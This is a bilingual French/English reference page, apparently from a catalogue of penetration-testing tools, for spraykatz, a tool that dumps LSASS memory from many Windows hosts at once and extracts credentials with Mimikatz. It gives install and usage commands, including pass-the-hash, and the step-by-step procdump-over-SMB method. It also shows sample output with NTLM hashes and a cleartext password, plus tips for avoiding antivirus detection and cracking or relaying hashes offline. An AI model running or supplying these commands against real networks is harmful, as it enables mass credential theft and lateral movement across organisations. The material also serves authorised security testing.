← retour aux outils back to tools

# spraykatz

Dump d'identifiants Mimikatz à distance et à grande échelle. Extrait les identifiants de plusieurs hôtes Windows simultanément à l'aide de procdump et Mimikatz : récolte massive d'identifiants sur un réseau AD. Remote Mimikatz-based credential dumping at scale. Dumps credentials from multiple Windows hosts simultaneously using procdump and Mimikatz — mass credential harvesting across an AD network.

↗ https://github.com/aas-n/spraykatz

## Overview

Spraykatz automates remote credential dumping across multiple Windows hosts. It uses legitimate Windows tools (procdump) to dump LSASS memory on each target, then extracts credentials with Mimikatz — all remotely without deploying agents.

## Installation

    pip3 install spraykatz
    # or
    git clone https://github.com/aas-n/spraykatz
    cd spraykatz
    pip3 install -r requirements.txt

## Basic Usage

Dump credentials from multiple hosts

    python3 spraykatz.py -u DOMAIN/admin -p password -t targets.txt

Single host

    python3 spraykatz.py -u DOMAIN/admin -p password -t 10.10.10.1

With hash authentication

    python3 spraykatz.py -u DOMAIN/admin -H :NT_HASH -t targets.txt

Specify domain controller

    python3 spraykatz.py -u admin -p pass -d DOMAIN -t targets.txt

## Target File Format

targets.txt — one IP per line

    cat targets.txt

→ 10.10.10.1 10.10.10.2 10.10.10.5 10.10.10.10

## How It Works

    # 1. Connects to each target via SMB (requires admin rights)
    # 2. Uploads procdump.exe (Sysinternals) via SMB
    # 3. Runs: procdump -accepteula -ma lsass.exe lsass.dmp
    # 4. Downloads the LSASS dump
    # 5. Runs Mimikatz locally to extract credentials
    # 6. Outputs credentials per host

    # Remote execution via:
    # WMIEXEC — WMI-based execution
    # SCM     — Service Control Manager
    # SMBEXEC — SMB-based execution

## Output

    # Per-host credential output:
    # [+] 10.10.10.1:
    #   [*] Username: administrator
    #       NTLM: 8846f7eaee8fb117ad06bdd830b7586c
    #       Password: (null)
    #   [*] Username: DOMAIN\serviceaccount
    #       NTLM: aad3b435b51404eeaad3b435b51404ee
    #       Password: ServicePass123!

## Tips

- Requires local admin rights on target systems (domain admin or local admin)
- LSASS dumping is detected by most EDR solutions — expect alerts
- For OPSEC, use CrackMapExec’s `--lsa` or `--sam` flags for more targeted dumping
- Procdump is signed by Microsoft — less AV flagging than custom tools
- Collect all hashes first, then crack/relay offline without further target interaction

Help / Man page

    spraykatz.py [options]

    -u USER     Username (DOMAIN/user or user)
    -p PASS     Password
    -H HASH     NT hash (LM:NT format)
    -d DOMAIN   Domain name
    -t TARGETS  Target IP or file with targets (one per line)
    -r REMOTE   Remote share for uploads (default: C$)
    -v          Verbose

## Vue d’ensemble

Spraykatz automatise le dump d’identifiants à distance sur plusieurs hôtes Windows. Il utilise des outils Windows légitimes (procdump) pour dumper la mémoire LSASS sur chaque cible, puis extrait les identifiants avec Mimikatz, le tout à distance sans déployer d’agent.

## Installation

    pip3 install spraykatz
    # ou
    git clone https://github.com/aas-n/spraykatz
    cd spraykatz
    pip3 install -r requirements.txt

## Utilisation de base

    # Dumper les identifiants de plusieurs hôtes
    python3 spraykatz.py -u DOMAIN/admin -p password -t targets.txt

    # Un seul hôte
    python3 spraykatz.py -u DOMAIN/admin -p password -t 10.10.10.1

    # Avec authentification par hash
    python3 spraykatz.py -u DOMAIN/admin -H :NT_HASH -t targets.txt

    # Spécifier le contrôleur de domaine
    python3 spraykatz.py -u admin -p pass -d DOMAIN -t targets.txt

## Format du fichier de cibles

targets.txt : une IP par ligne

    cat targets.txt

→ 10.10.10.1 10.10.10.2 10.10.10.5 10.10.10.10

## Fonctionnement

    # 1. Se connecte à chaque cible via SMB (nécessite des droits admin)
    # 2. Upload procdump.exe (Sysinternals) via SMB
    # 3. Exécute : procdump -accepteula -ma lsass.exe lsass.dmp
    # 4. Télécharge le dump LSASS
    # 5. Exécute Mimikatz en local pour extraire les identifiants
    # 6. Affiche les identifiants par hôte

    # Exécution à distance via :
    # WMIEXEC : exécution basée sur WMI
    # SCM     : Service Control Manager
    # SMBEXEC : exécution basée sur SMB

## Sortie

    # Sortie des identifiants par hôte :
    # [+] 10.10.10.1:
    #   [*] Username: administrator
    #       NTLM: 8846f7eaee8fb117ad06bdd830b7586c
    #       Password: (null)
    #   [*] Username: DOMAIN\serviceaccount
    #       NTLM: aad3b435b51404eeaad3b435b51404ee
    #       Password: ServicePass123!

## Conseils

- Nécessite des droits admin locaux sur les systèmes cibles (domain admin ou admin local)
- Le dump LSASS est détecté par la plupart des solutions EDR : s’attendre à des alertes
- Pour l’OPSEC, utiliser les flags `--lsa` ou `--sam` de CrackMapExec pour un dump plus ciblé
- Procdump est signé par Microsoft : moins de détection AV que des outils custom
- Collecter d’abord tous les hashes, puis les cracker/relayer hors ligne sans interaction supplémentaire avec la cible

Aide / Page de manuel

    spraykatz.py [options]

    -u USER     Username (DOMAIN/user or user)
    -p PASS     Password
    -H HASH     NT hash (LM:NT format)
    -d DOMAIN   Domain name
    -t TARGETS  Target IP or file with targets (one per line)
    -r REMOTE   Remote share for uploads (default: C$)
    -v          Verbose